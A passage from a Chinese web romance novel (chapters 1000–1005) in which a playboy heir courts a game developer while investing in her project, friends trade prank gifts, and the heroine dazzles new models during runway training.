“那区别可就太大了,如果是弟弟那我就当个好哥哥,争取以后能当他的好姐夫,但如果是恋人……那我就只能厚脸皮的挖墙脚了。” 薛酒:“?” 艹?也是来追阿愿的? 许愿眼神颇带着几分无奈的看着盛景炎,盛景炎已经开始了自我介绍。 几乎是事无巨细。 许愿眉梢挑了下,觉得这画风是有那么点不对。 “盛先生不是说来谈合作的?” 盛景炎脸上还带着笑:“你那么聪明,怎么可能看不出来我是为了追求你才来谈合作的?” “盛先生知道你这样很像是在开屏的雄孔雀吗。”许愿微笑嘲了句。 “所以你有被我吸引到吗?” 许愿:“盛先生这样有点油腻了。” 盛景炎还是那副笑吟吟的模样:“那需要我给你叫点清淡的餐点送上来为你去去油吗?” 他倒是完全不觉得嘲讽,还回的有来有往的! 第1000章 他才是最适合的合作对象 包厢内暖光如蜜,盛景炎斜倚沙发,指尖无意识叩击扶手。 许愿垂眸时,睫毛在眼下投下细碎阴影,她说的话其实没有留什么情面,不过盛景炎并未生气。 盛景炎看着她笑:“我想我应该算是那群追求者中的佼佼者,不是吗。” 许愿垂眸对上盛景炎那双饱含深情的桃花眼,眸光微闪。 “盛先生恐怕都不知道我叫什么名字就已经开始追求了?”许愿嘲讽。 “一见钟情的事大概谁也说不准,而且名字不过是代号。”他忽地倾身逼近,呼吸扫过她耳畔,“若许小姐愿意,我可以把每个音节都刻进骨头里。”他说这话的时候尾音很低,很像是在撩拨勾引。 薛酒在旁重重咳嗽,茶杯磕在碟子上溅出几点褐渍,盛景炎却只是余光扫了一眼,继续问道:“请问这位小姐方不方便把你的名字告诉我呢?”盛景炎不觉得许愿嘲讽,他自己也知道自己这行为属实有些离奇。 许愿指尖微蜷,却仍将名片递出:“许愿。陆斯年,薛酒。” 她简单介绍了三人。 包厢内暖黄的灯光像融化的琥珀,盛景炎指尖轻叩檀木桌沿,目光却黏在许愿递资料的手上。 盛景炎接过卡片时,拇指有意无意擦过她指尖,温凉的触觉让他眸色更深。 她腕间淡青的血管在薄纱衣袖下若隐若现,只这样看着都觉得实在诱人。 他忽然轻笑出声,尾音拖得慵懒:“许愿小姐……这名字听着便让人心生遐想。”嗓音低哑,带着股子刻意压制的撩拨劲儿,薛酒在旁冷嗤一声,茶杯磕出清脆响。 “盛先生若只顾着品名字,怕是要错过好生意了。”许愿唇角微勾,笑意却不达眼底。 “好吧,那么我许愿……我能追求到许小姐。”他像是刻意的压低声音带着股子撩拨的劲儿。 她将资料推向盛景炎,指尖划过他手背时,后者喉结无声滚动。 “盛先生还要不要谈合作。”薛酒已经看不下去了。 “谈,当然谈。”盛景炎抬了下手,“劳烦许总给我讲解一下。” 见他终于提到正事,她开始讲解游戏架构,声线清冷如碎玉,却条理清晰:市场定位、技术壁垒、盈利模式……每个词都像精密齿轮咬合,将盛景炎初见的轻佻一点点碾碎。 盛景炎看着这份文件的眸光也愈发深了。 盛景炎垂眸翻页,文件上的建模图光影流转,他忽然意识到许愿不只有飘来那个的皮囊。 许愿提及“动态剧情分支”时,他指尖顿住。 这设计需要庞大的数据库支持,而她眼底的自信绝非虚张声势。他想起她方才提及投资其他产业的轻描淡写,这女人分明在下一盘大棋,游戏只是其中一枚棋子。 本来只是觉得她实在是漂亮,只是冲着这样漂亮的容貌,盛景炎都控制不住自己一直看向她的视线。 哪怕她真的只是个花瓶,盛景炎也是认了的。 他自己心里清楚自己看着多情实则绝情。 但看到许愿的时候,他会觉得自己也不是不能深情。 如果是她的话……自己是可以的。 可现在,许愿提到了正事,她在为他解释游戏方面的事,许愿最初打算做游戏其实就是因为这东西来钱还是比较快的,而且她也不是把所有希望都放到游戏上面,她还在投资其它产业。 她想创建属于自己的公司,但目前资金有些太少了,还需要更多。 但即便是这种情况下她还是跟陆斯年薛酒几人创建了可能爆红的端游。 盛景炎只是看了下游戏建模和图层以及创新性的小程序内部的小游戏便知道这个游戏做好了一定会大火。 本来只以为会是个漂亮的花瓶,没想到是有真材实料的。 盛景炎眸光又深了几分。 没办法,他就是欣赏这种又漂亮又聪明的女性。 啧,更喜欢了怎么办? “许小姐这局布得精妙。”他忽地抬头,桃花眼染上兴味,“不过……资金缺口可不容易填。”话锋一转,却是在试探虚实。 许愿早有准备,将风险评估报告摊开,数据如瀑布倾泻,逻辑密不透风。 盛景炎盯着她讲解时微微翕动的睫毛,忽然觉出掌心发烫,心里对她的那点喜欢几乎要漫出来。 他指尖无意识摩挲着杯沿,釉面冰凉的触感却压不住心头的燥热。 包厢内沉香袅袅,他忽然开口,声音里裹着三分漫不经心:“你们前面约见的李总,我大概了解些底细,那位李总最喜欢做的事就是强行收购其它小工作室和小组织然后做出一些爆款的盗版游戏,你们约他可不会有好结果。”尾音拖得慵懒,却暗藏刀刃。 盛景炎提醒了一句又问:“请问那位李总跟你们怎么聊的?” “不用担心,我只是单纯的好奇,并没有恶意。” 他还挺诚实。 薛酒没好气道:“那种人纯纯就是不要脸,直接想给我们一人两百万买断游戏,把人当傻子玩,谁买给他谁蠢!” 最重要的是李辉看许愿的眼神更让薛酒恶心。 见他如此激动,许愿不由的摁住他的手腕避免他太过冲动生气。 盛景炎觑着他俩的暗流涌动,喉间溢出低笑。 “我只是单纯好奇,并无恶意。”他忽地倾身,袖口掠过许愿鬓边发丝,惊得薛酒瞳孔骤缩,这厮竟敢当他的面耍流氓!却听盛景炎慢悠悠补了句:“毕竟李辉最擅长的,是把人当傻子宰。谁买账,谁蠢。我想许小姐应该是聪明人,会选择最合适的合作对象。” 这话不就是告诉许愿,他才是最适合的合作对象? 这几乎不是暗示,而是明示了。 许愿顿了下,再次看向面前的男人,总觉得这男人满脸都写了两个大字。 “选我”。 太奇怪了。 他指尖轻叩檀木桌面,茶盏里的雾气袅袅升起,模糊了他唇角那抹似有若无的笑。 许愿垂眸凝视杯中晃动的琥珀色茶水,忽然觉出掌心沁出的薄汗。 第1001章 总该信得过他 这男人分明是披着羊皮的狐狸,懒散二世祖的伪装下,蛰伏着猎食者的锐利。 对,外面那群人大抵是传错了,盛景炎可不是个好糊弄的对象。 “盛先生的条件确实诱人。”她终于开口,清脆中藏着三分冷冽,“但您这般直白地将筹码摊开,就不怕我们狮子大开口?”话音未落,盛景炎忽然轻笑出声,茶盏被他执起又放下,动作间竟透出股子慵懒的优雅。 “许小姐聪慧过人,该知道‘狮子’与‘猎人’的区别。”他微微倾身,袖口掠过她手边散落的资料,泛黄的纸页被气流掀起一角,“又怎么不知或许我们是同类呢?如果你是猎人,那我也会是猎人,如果你是狮子,那我也是狮子……” 他的意思很明显,他告诉许愿,自己没有贬低她看清她,算是对她的尊重。 许愿面上表情又冷了几分,其实她并不相信男人说的这种话。 见许愿脸色变了,盛景炎笑着解释。 “许小姐实在不必对我有这样大的恶意,我对许小姐是抱着期待的,我觉得许小姐漂亮聪明,许小姐也知道,我就是个被人嘲讽议论的二世祖,只想着偷懒休息,所以希望许小姐赚钱的话带我一个。” 盛景炎此刻都像是担心他们误会自己,继续道:“如果是我的话,我不会跟许小姐签订买断合同,我们来签分成合同如何?” “许小姐缺多少投资,都可以跟我说,我的钱……应该是够用的。”盛景炎话已经说道这份儿上了,又问道:“许小姐这么着急找人拉投资,我觉得大概不是只有这么点建模,许小姐这款游戏应该已经制作到尾声了,对吗。” 盛景炎猜得没错,许愿早就把游戏制作好了,只是后续宣发和各种维护更新需要的时间金钱太多,无奈之下只能来找人投资。 “合作当然是可以的,只是不知道盛先生是不是真的能信得过。”许愿脸上那点谈合作时的勉强笑容也收了起来,脸上带着点凉意。 盛景炎笑:“你当然可以相信我,如果我是个不能轻信的混蛋,这位黎少爷也不会跟我做朋友,你信不过我,总该信得过他。” 盛景炎余光扫向一直沉默品茶完全没有掺进他们之间的黎云笙身上。 明显的意有所指。 黎云笙:“……” 注意到包厢内众人目光落在自己身上黎云笙也还是那副淡淡的模样,只轻微的撩动眼皮扫了许愿一眼。 黎云笙终于从茶盏后抬眸。 他生得一双琥珀色的眼,此刻却像浸了冰的琉璃,冷淡地扫过许愿紧绷的面颊。 许愿注意到他执杯的手势极稳,指节在青瓷杯壁上投下淡影,连杯中的茶水都未曾漾起半分波纹。这样的镇定,好像天生带着冷感。 事实上就像盛景炎说的那样,黎云笙在圈子里还是很有口碑的。 玩归玩闹归闹,黎云笙的品性是没的说的,如果黎云笙真的厌恶盛景炎,或者根本没兴趣跟盛景炎当朋友,那才应该远离盛景炎。 上流圈子的人交友才是最挑的,物以类聚这种话说的是没错的。 就像于海洋,他蠢,身边也跟了一群蠢的。 李明义是炮仗,身边也都是群脾气暴躁的小炮仗。 盛景炎呢?虽然多情,却没有什么其它负面新闻了,可见他的人品是绝对有保障的。 许愿微微敛眉,目光再度扫过黎云笙。 “黎少有没有什么需要说的?”许愿询问。许愿的声音比方才冷了几分,她抬眼时,藏着试探。 黎云笙的眼皮又轻轻撩起,却没有立刻回应。 黎云笙身上那股淡淡的人机感并未敛去,盛景炎好心给他倒茶。 不过盛景炎今天茶水喝的实在有点多,他没那闲心品茶,甚至带着点烦躁,原因很简单,还因为温栩栩留下的资料和送的黄瓜而生气。 他现在根本不想看盛景炎跟许愿之间的你来我往,他现在就想先找到温栩栩然后狠狠教育一番,让她再也不敢胡闹。 但……盛景炎一直看他热闹,好不容易轮到盛景炎这边出点事,他自然想看戏。 他右手拇指无意识摩挲着杯沿,动作闲散,没让许愿看出他此刻的燥意。 “许小姐多虑了。”黎云笙终于开口,声音清冽得不带半分温度。 他微微倾身,茶盏被他搁回案上时,竟连一丝声响都未惊起。 “盛景炎虽然是个浪子,但人品却是有保证的,虽然帝城人渣多,但盛景炎绝不会是其中之一。” “别的不保证,但起码他不会跟你玩文字陷阱合同陷阱或者背后捅冷刀子,如果你们合作,那你可以全身心的相信他。”他对盛景炎的评价实在是太高了。 许愿听懂了,也听得很明白。 此刻她微微敛眉睫毛在眼下投出细密的阴影,遮住了眸中翻涌的暗潮。 “既然黎少都这般说了……”她忽地抬眼,笑了一声“那便签吧。” 盛景炎眉梢轻挑,眼尾弯成月牙,看着心情很好的样子,那双惯常藏着深潭的桃花眼此刻盛满了星子般的碎光。 他指尖在茶盏边沿轻叩,节奏欢快得像檐角风铃,全然不见平日看人时那潭水般的深意,仿佛一池春水被突然搅碎了冰,粼粼波光里全是少年人的欢喜。 他似乎是真的因为许愿说的合作在开心。 黎云笙有点不爽的“啧”了一声,也不知道是在啧盛景炎还是在啧许愿。 盛景炎已全然沉浸在与许愿的条款推敲中,律师团队的联络电话一个接一个拨出,声音里带着压不住的轻快。 许愿垂眸翻看合同,发梢垂落一缕在锁骨处,清冷如雪的肌肤衬得那缕黑发愈发浓墨,像是宣纸上落了一笔飞白。 黎云笙盯着那抹剪影,喉头忽然哽了哽,这女人的美太锋利,清冷得像一柄未出鞘的剑,偏偏剑穗又缀着江南烟雨般的柔,矛盾得让人无端生恼。 盛景炎还在跟许愿交流,完全没注意到黎云笙此刻复杂的眼神。 第1002章 恋爱脑滚远点好吗 黎云笙也是第一次吃别人的瓜,原来吃瓜也这么费时费力的。 最主要的是,这么长时间也没吃到点有意思的瓜。 黎云笙内心愈发不爽。 “你们聊,我先走了。” 黎云笙不想吃瓜了,有这个时间已经把温栩栩抓过来教育了。 盛景炎也没拦他,本来自己的目的已经达到了,黎云笙留不留其实问题都不大。 盛景炎甚至只是单手抵着下吧敷衍道:“走好啊。” 黎云笙:“……” 这一刻黎云笙就是能体会到韩城说过的重色轻友是什么意思了。 他原只当是玩笑,毕竟盛狗向来是摘花不沾身,哪次不是把那些名媛千金哄得五迷三道,转头就跟人家说再见的?可此刻瞧着他连虚礼都懒得周全,分明是心里装了旁人,连装样子都懒得装了。 盛景炎这狗,以前逢场作戏的时候可从没有这副做派,这也就是真的碰到了喜欢的。 黎云笙目光重新落到许愿身上细细打量。 漂亮,是那种皮相骨相都很完美的漂亮,身上自带着清冷感,他作为男性本该欣赏。 明明这女人漂亮得让人挑不出瑕疵,他却生不出半分欣赏。 不紧不欣赏……还会莫名的会有一种会嫉妒的感觉,对她喜欢不起来,但也不会是特别厌恶,就是单纯觉得跟她一起自己好像会被谁忽略似的。 还是个很重要的人会忽略他。 总不该是盛景炎这狗? 那确实是有可能。 黎云笙深深的看了许愿一眼,再看向盛景炎的时候想叮嘱一句,却见盛狗一脸警惕的模样,似乎是担心他会对许愿有意思。 黎云笙忍下了想要翻白眼的冲动。 算了,多余担心他。 恋爱脑滚远点好吗。 黎云笙说这些的时候确实是没想过自己也会是个恋爱脑,他心里压根还没有这个概念。 黎云笙离开包厢就收到了韩城的信息,一个消息接一个消息的,他方才在包厢内没看手机,韩城的信息轰炸如暴雨倾泻,未读红点密密麻麻堆叠成一片猩红,这会儿韩城急到不停给他打电话。 他倚着真皮座椅闭目缓神,宿醉的余威仍在太阳穴凿出细密的痛痕,昨夜的记忆却像浸了水的棉絮,沉甸甸糊在脑际,怎么都理不出清晰的轮廓。 到底有什么可着急的? 黎云笙上了车接听电话,韩城的咆哮立刻穿透听筒:“黎狗!你昨晚没对温栩栩做什么禽兽事吧?!韩越那孙子非要让保镖拦着我,我现在肠子都悔青了!你要是敢欺负我兄弟,我跟你没完!” 黎云笙觉得韩城绝对是有点毛病。 昨晚上走都走了,现在马后炮做什么? 真要欺负他都已经欺负过了,现在说这话有什么用? 而且他根本记不起昨晚到底发生了什么事,现在酒都没有彻底醒,还有些头晕。 黎云笙被吵得耳膜发颤,昨夜究竟发生了什么?他依稀记得温栩栩那双雾蒙蒙的眼睛倔强地瞪着自己……可除此之外,记忆便断成了零碎的瓷片,连拼凑都无从下手。 他捏了捏眉心,实在不想被韩城骚扰,更不想听韩城叽里呱啦了,捏了下眉心道:“想不想看盛景炎的八卦。” 死道友不死贫道。 盛景炎看了这么久他的戏,现在让韩城看看戏应该没什么问题。 韩城果然来了兴致,但心里又矛盾自己兄弟有没有被欺负,黎云笙感觉到他的沉默就知道这货心里想的什么,他捏了下眉心实在是有些无奈。 “我跟温栩栩应该没有发生什么意外,你到底还看不看盛景炎的八卦了?” 韩城也就是想听黎云笙说没欺负温栩栩,其实这话也就等于说没欺负温栩栩了。 他心里爽了,傲娇问:“盛景炎什么八卦让你这么在意。” “哦,他对一个女人一见钟情了,现在正在华庭开屏呢,房间包厢号发你了,想看戏快点来,晚了怕是看不上了。” 韩城有一瞬间都觉得自己是不是听错了。 “不是?等会儿?你说谁对异性一见钟情了?” 黎云笙回应:“盛景炎。” 韩城觉得这世界都颠了。 疯了吗? 盛景炎那狗东西多情都是装出来的啊。他跟他的那些女朋友演员们除了在外面面对镜头的时候装的亲密,平日里连个信息都不多发的,这人能对异性一见钟情? 对谁一见钟情了? 他不信,他一直觉得盛景炎是喜欢男人的。 譬如黎云笙…… 韩城忍了又忍,实在没忍住问道:“你确定盛景炎不是因为看你跟我兄弟太亲密所以亲密吃醋故意让你看到让你误会的?我怎么总觉得他比起其他人,盛狗更喜欢你啊!” 黎云笙:“?” 黎云笙觉得这简直就是无稽之谈胡说八道! “你到底哪里得来的结论?我到底为什么会跟盛景炎攀扯到一起?韩城你最好给我个合理的解释。” 黎云笙实在是想冷笑。 韩城赶紧说道:“他要对你没意思能那么喜欢看你的乐子吗?整天就想看你的八卦!” “……” 黎云笙深吸一口气。 “这难道不是因为盛景炎很闲吗。”闲到没事做不知道做什么! 韩城不服气还想反驳,黎云笙嗤道:“你的乐子他看的就少了?你怎么不说盛景炎喜欢你?” 韩城没想过这种可能,他觉得此刻黎云笙火气有点大,但他觉得这肯定不是自己的原因,缓了一会儿才哔哔:“你这么生气,难道盛狗一见钟情的对象是温栩栩?不会真是我兄弟吧!” “……”黎云笙这次是真被气笑了。 “韩城,我到底要怎么跟你解释一见钟情是什么意思呢?你要实在不明白我给你买一本成语词典你觉得怎么样?” 韩城:“……”好的,被羞辱了。 “盛景炎的八卦你爱信不信。包厢号发你了,想看戏就快点滚过来,真要晚了,你这八卦可没得瞧了。” 韩城还是有点控制不住的问了句:“真不是温栩栩吗?” 黎云笙听不下去了,打开购物软件火速购买了一本成语词典,然后道:“给你买了同城的成语词典,记得签收,没事就多看看书,不然显得你真的很蠢。” 盛景炎都见温栩栩几面了,还一见钟情呢。 太蠢了点。 第1003章 必须让黎狗破防! 韩城果然在半小时后收到了黎云笙给他买的礼物,成语词典,甚至是各式各样都买了一份,其中还夹杂着小学生学习带拼音带图画的一整套成语图画书。 韩城盯着茶几上堆积如山的礼物盒子,整个人仿佛被雷劈中般僵在原地。 半小时前,黎云笙发来的消息还历历在目。 “惊喜已送达,记得查收”。 他当时只当是对方随口开个玩笑,可此刻眼前这十几个快递箱上明晃晃的“黎云笙赠”三个字,烫得他手指发颤。 拆开最外层包装,各类成语词典如瀑布般倾泻而出。 从精装版《成语大辞典》到线装本《中华成语典故》,甚至连小学生专用带拼音注释的彩绘本都整整齐齐码了一整套,书页间还夹着几本成语故事连环画,封面上卡通孔子正举着竹简摇头晃脑。 收到礼物的韩城整个人几乎是目瞪口呆,他本来当黎云笙是开玩笑的,谁知道黎云笙真的送了他这个啊! 黎云笙就是在侮辱他好吧! 噗——”沙发上传来压抑的笑声。 韩城气呼呼,韩越翘着二郎腿刷手机,看到黎云笙送了什么东西的韩越却不由得挑了下眉,瞥见弟弟吃瘪的模样终于绷不住了。他慢悠悠摘下金丝眼镜,指尖在礼盒上轻点。 “阿笙送的还是阿炎送的?” 韩越觉得这事儿大概是盛景炎干的,他觉得黎云笙应该不会那么无聊,也就只有盛景炎才会这么逗韩城了。 韩城牙齿咬得咯咯响:“黎!云!笙!那狗东西!”他抓起一本彩绘成语书甩向半空,纸张在空中划出狼狈的弧线,“他明摆着嘲笑我成语水平烂!” 韩城张口就要辱骂黎云笙。 没错,就是狗就是狗。 黎云笙,狗! 韩越轻笑出声,抬手在弟弟炸毛的头顶不轻不重敲了一下:“收着吧,对你有用。”他刻意加重“有用”二字,尾音带着促狭的勾调。韩越还是那副笑眯眯的模样说出伤人的话。 韩城像被踩到尾巴的猫,想炸毛,被韩越直接又敲了头,只能气鼓鼓的拍成语词典。 他整个人从沙发弹起,成语词典被他拍得“啪啪”作响:“我要回礼!必须让黎狗破防!不然我韩城名字倒着写!” 他是真的很想给黎云笙回礼,但实在不知道送什么能让黎云笙破防,他觉得自己送的礼物如果不能让黎云笙破防,那终将破防的一定会是自己了。 烦躁。 韩城开始自己敲自己头了。 “哥啊,哥啊,哥啊!”韩城在这里叽歪。 韩越嫌他吵,想戴耳机,韩城直接从沙发上跳起来凑近韩越:“你理理我啊!到底送什么东西能让黎云笙那狗破防啊,好烦好烦好烦。” 韩越也有点想不到黎云笙会因为什么事破防。 想了下,眉头也轻微的皱起来,韩城还在一旁叭叭要让韩越好看。 他焦躁地在客厅来回踱步,皮鞋在地板上碾出急促的摩擦声。 韩越慢条斯理戴上降噪耳机,白噪音刚启动就被韩城扯了下来:“哥!你帮我想想!黎云笙那洁癖狂最受不了什么?上次他因为咖啡杯没消毒无语了好一阵,要不我送他一百个用过的快餐盒?” 韩越眉峰微挑,眼底闪过戏谑的光:“或者……送他些岛国‘教学片’?”他刻意拉长尾音,舌尖舔过犬齿,“阿笙单纯得像张白纸,没见过世面,收到这种‘文化瑰宝’估计会很有趣。” 韩城眼睛倏地亮起,全然没察觉兄长眼底的敷衍。 他激动得语无伦次:“对!就这个!黎云笙那古板样子,肯定连恋爱剧都没完整看过!我这就去找资源!”说罢旋风般冲进书房。 韩越其实也是被韩城烦的没有办法了,这才随便回了句,但显然韩城觉得自己大哥了解黎云笙,他这么说绝对是有原因的,韩城完全不知道自己大哥是在敷衍自己。 韩越望着弟弟亢奋的背影,唇角弧度渐深。他重新戴上耳机,指尖无意识摩挲着礼盒上黎云笙亲手写的便签。字迹清秀工整,末尾还画了个憨态可掬的熊猫表情,看来黎云笙心情还挺好,大抵是猜到韩城会因为这件事炸毛吧。 得了答案也不烦韩越了,去找精品资源打算发给黎云笙了。 他大概了解韩越要表达的意思了。 黎云笙没看过这些东西,肯定是觉得恶心,因为恶心才不看!等他发了视频,黎云笙绝对会被恶心到。 就像他看到那些成语词典也是完全无法接受一样。 对,就是这么个道理。 他特意选了最经典的三部曲,封面女优笑容妖娆,标题字体烫金夸张。 打包文件时,他恶作剧般附上纸条:“好好学习,天天向上”,末尾画了个吐舌头的鬼脸。按下发送键的瞬间,他仿佛看见黎云笙收到后青筋暴起的模样,嘴角忍不住疯狂上扬。 韩城甚至自作主张决定给黎云笙找点男男资源。 正常男女资源他都不爱看,那男男资源不是更刺激了。 韩城脸上的笑明显都有点贱歪歪的。 哼,这就是黎云笙给他送成语词典要付出的代价,活该活该,就是活该。 韩城靠在办公椅背上,指尖在键盘上敲得噼啪作响,浏览器页面里各种带着暧昧符号的标签层层叠叠。 他故意把音量调到最大,屏幕里两个男人正以一种极具张力的姿势对峙,这是他花了半小时从无数“灰色地带”资源里筛出来的“精华”。 哼,黎云笙那个装模作样的冰块,送本成语词典就想糊弄他? 得付出点“代价”才行! 韩城嘴角勾起一抹狡黠的弧度,笑意却透着股子蔫坏的歪劲儿,活该!就是活该!谁让那厮总板着脸跟阎王似的。 可还没等他按下发送键,自己先被那满屏的“禁忌感”刺激得喉头发紧。 直男如他,光是看着这些画面就觉得浑身不对劲,手指在鼠标上悬了半天,最后不得不愤愤地扯过纸巾擦了擦额角的冷汗。 第1004章 基础训练 呵,要是黎云笙真被雷得掀桌子,那这罪也算没白受!他索性把椅子转了个圈,盯着窗外扭曲的阳光,满脑子都是对方暴跳如雷的画面。 哼,最好能气得摔了那本成语词典,那才叫解气。 温栩栩从华庭离开直接去了星黛儿那边的内部的训练场,Sara还在训练新模特。 训练场的灯光白得刺眼,模特们盯着自己扭曲的倒影,强迫自己把脊背绷成直线。每走一步,脚踝都在抗议,那些在酒会上养出来的优雅姿态早被碾碎,此刻只能像初学的小鹿般笨拙挪动。 Sara的哨声尖锐地响起:“肩膀别晃!胸腔挺起来!你走的不是步子,是废铁吗?” 新人模特们被骂的想哭,但也只能憋回去,因为她们都知道Sara的身份不一般。 有人注意到温栩栩,目光不停落到她身上,似乎在猜测她是谁。 Sara察觉到了这些学生的目光,只愣了一瞬便转头看去。 高跟鞋踩在地板上发出清脆的“咔嗒”声,她甚至没顾上换训练服,就被Sara那双鹰隼般的眼睛盯住了。 见温栩栩来了也不意外,按照之前她那点基础给她做了安排让她走台步。 “基础训练,从走台步开始。”Sara神色淡然,她将一双银白色高跟鞋“啪”地搁在温栩栩面前。 鞋跟细得骇人,像两把锋利的冰锥直戳大理石地面,在灯光下泛着冷冽的光。 温栩栩深吸一口气,指尖刚触到鞋面的那一刻,整个人忽然绷直了脊背有点紧张。 她缓缓将脚套进那双“刑具”,踝骨立刻被勒出青白的痕迹。 起初的几步踉跄得像是踩在刀尖上,可当疼痛烧进骨髓的那一刻,她竟诡异地平静下来。 镜墙将她的影子撕成无数碎片,每一道都映着她下颌紧咬的倔强。 她开始调整步幅,将重心从脚跟缓缓挪向脚尖,仿佛一只刚学会行走的幼豹,每一步都带着试探的优雅与危险的张力。 渐渐地,她的脊背如拉满的弓,肩胛骨收得近乎凌厉,双臂却松弛得像流淌的月光。 裙摆是Sara随手扔来的普通缎面长裙,没有任何剪裁设计,却在她的步伐下仿若是巴黎时装周的高奢礼裙。 左摆时露出小腿线条优雅漂亮,右旋时又裹着天鹅绒般的矜持。 她的目光始终凝在远方某个虚无的焦点,瞳孔深处燃着两簇火,仿佛在此刻都好像将训练场简陋的灯光都灼成了聚光灯的效果。 那些新人模特们早已僵在原地。 有人握着训练手册的手抖得纸页哗哗作响,有人张着嘴却发不出惊叹,只能任由喉间哽着一团灼热的酸涩。 她们见过Sara带过的无数新人,或是僵硬如提线木偶,或是浮夸如杂耍艺人,却从未见过这样的走姿。 没有华服加冕,没有璀璨珠宝,只凭一具血肉之躯便走出了巴黎高定秀场的凛冽与罗马斗兽场的野性。 温栩栩的每一步都优雅却又带着明显的凛冽感觉,只是看她走秀都好像听到尾音带着刀刃划过的锐响,裙摆扫过的地面仿佛都留下了灼痕。 “看她的胯骨!”一个模特突然掐住同伴的手臂,声音抖得像碎玻璃,“在转体的时候,整个骨盆像齿轮一样严丝合缝……我的天,她是怎么做到的?” 另一个女孩的睫毛上凝着细密的汗珠,却连眨眼的空隙都不敢留。 她们盯着温栩栩足尖与地面那不到三厘米的夹角,盯着她锁骨在转身时拉出的优美弧线,仿佛在看一场被拆解又重组的神迹。 有人甚至开始对照镜子模仿她的姿态,却悲哀地发现,自己连她十分之一的力度都学不出来,那气场是刻在骨血里的,是要看天分的。 温栩栩越走越快,缎面长裙在她身后绽成一道银色的浪。 发丝在灯光照耀下,仿佛被气流扯成细碎的金箔,每一缕都像是被舞台追光单独打亮。 此刻的她不再是那个踉跄着踩高跟鞋的狼狈新人,而是某种从神话中走出的灵物,既带着奥林匹斯山上的冷傲,又裹着炼狱之火淬炼出的野性。 训练场尽头的玻璃大门,在她眼中成了巴黎时装周的鎏金幕布,而她正踏着星辰的轨迹,走向一场注定要惊艳世界的谢幕。 Sara的哨声终于响起时,全场静得像被按下了暂停键。 温栩栩定格在最后一个定点pose,下颌扬起30度的完美弧度,唇角却抿得比直线更锋利。 新模特们这才惊觉自己早已屏住了呼吸,胸口憋闷得生疼。 有人踉跄着后退半步,有人踉跄着后退半步,有人偷偷用指甲掐掌心确认这不是幻觉。 Sara早就说过有些人天生就是吃这碗饭的,那时候她们没听进心里去,现在真的见到温栩栩才知道他们彼此之间的差距。 原来真的有人如此漂亮,披上一件最普通的衣裙都能发挥那衣裙的美,原来有人真的明明是新人却又好像在太阳之下散发着无尽光辉。 这是她们都不敢想象的。 如果她们有这天分,现在怕是已经参加维密了。 温栩栩踩着高跟鞋从T台尽头缓缓走下时,镁光灯的余晖仍在她肩头流转。 她身上那件最普通不过的衣裙,此刻仿佛被赋予了生命,裙摆随着她每一步的轻盈摆动如月光下的海浪般起伏,领口处的银白色流苏在她转身的瞬间迸发出银河倾泻般的光泽。 那些原本需要顶尖超模用气场撑起的线条,在她身上却成了锦上添花的点缀,仿佛这件衣裙已经成了价值千万的高奢,而高奢生来就该穿在她身上。 有的人是这样的,十几二十快的衣服穿在身上就像大牌像高奢,而有些人穿上高奢却也像是穿着地摊货。 温栩栩显然就是前者。 Sara给她准备的就是布料最普通的衣裙,可以说是温栩栩赋予了这条裙子生命。 后台等候的新人模特们集体屏住了呼吸。 她们中有人攥紧了手中的补妆镜,有人不自觉地挺直了脊背,目光却像被磁石吸附般无法从温栩栩脸上移开。 第1005章 真的很喜欢揪她后衣领啊! 她们也不是不知道温栩栩,其中还有上次还有跟温栩栩一起登台的新人模特,可对方却发现温栩栩变了很多,此刻浑身散发着一种近乎神性的美。 她的皮肤是瓷器釉面般的莹润质感,在舞台灯光下泛着珍珠母贝的光泽,睫毛在眼下投下细密的阴影,却丝毫不减那双眼睛的明亮,那双眼瞳像是被春日的溪水濯洗过的黑曜石,又像是藏着整个星穹的漩涡,仅仅一个眼神交汇,便让人有种被卷入璀璨星河的眩晕感。 “她甚至不需要刻意摆姿势。”一个新人模特喃喃自语,指尖无意识地摩挲着腰间的丝带。 温栩栩下台时随意倚在化妆台边的姿态,分明是慵懒的,却让整个空间突然有了画框般的边界。 她像是文艺复兴时期油画里走出来的女神,连垂落的发丝都好像透着几分慵懒。 那些曾在面试时被挑剔的“缺陷”,锁骨线条太锐利、颧骨弧度过高、眼神锋芒太盛,在她身上全化作了惊心动魄的美丽,如同雪山之巅绽放的雪莲,带着凛冽却摄人心魄的生机。 角落里几个女孩交换着震惊的眼神。 她们想起自己为了塑造“高级感”在镜子前练习的八百个表情,想起为了模仿当红超模的台步磨破的十双高跟鞋,而温栩栩只是那样自然地走着,就仿佛T台是她从出生起便该行走的领地。 有人悄悄拿出手机翻出当红女星的精修红毯照对比,那些在镜头里美得无懈可击的面孔,此刻竟显得匠气过重。 温栩栩的美是野火般的,带着某种未经雕琢的原始冲击力,像是未经开采的钻石原矿,每一面棱角都折射出惊心动魄的光。 “如果我有她一半的资质……” 一个模特咬着下唇,指甲几乎掐进掌心。 温栩栩正俯身与造型师交谈,她笑起来时眼尾微微上挑的弧度,让整张脸的艳丽突然有了泼墨般的动态感。 那些传闻中的“老天爷赏饭吃”的幸运儿,她们从前只当是夸张的玩笑,此刻却真切地感受到了命运的偏心。 温栩栩并不在意周围的人怎么看自己,她垂着头整理裙摆褶皱,指尖无意识地摩挲着布料边缘。Sara反倒很惊讶,目光里闪烁着难以置信的光。 没想过这么短时间内温栩栩能练到这种程度。不过有点可惜的是温栩栩只有172公分,如果再高几公分,Sara是真的想带她走到国际上去。 Sara跟她说了下后面秀场的事,却突然在某个音节戛然而止。 温栩栩察觉她话语中的停顿,抬头瞬间对上一道沉甸甸的视线。黎云笙正候在门外,逆着光的身影被镀上一层金边,却让人感觉不到丝毫暖意。 男人墨色的瞳孔像深潭,又似漩涡,正一瞬不瞬地锁在她脸上。 Sara明显顿住了,眉梢微挑,目光在两人之间来回逡巡,似乎在用眼神询问温栩栩.黎云笙是不是为她来的。 毕竟温栩栩没来之前,黎云笙几乎没踏足过这片区域。 温栩栩来了后,他倒是来过几次,甚至上一次还陪着温栩栩训练。 再看温栩栩这张脸,瓷白的皮肤,眉眼如画,睫毛在眼下投下细碎阴影,确实美得让人过目难忘。 不用想就黎云笙是为了什么来的,只能是冲着这张脸来的。 毕竟温栩栩没来之前,黎云笙几乎没踏足过这片区域,温栩栩来了后倒是来过几次,甚至上一次还陪着温栩栩训练。 再看温栩栩这张脸,很难想象黎云笙是为了什么来的,只能是冲着温栩栩这张脸来的。 温栩栩愣了片刻,抬头瞬间对上男人看过来的眼神。 黎云笙现在来找她,只会让她觉得自己要完蛋啊! 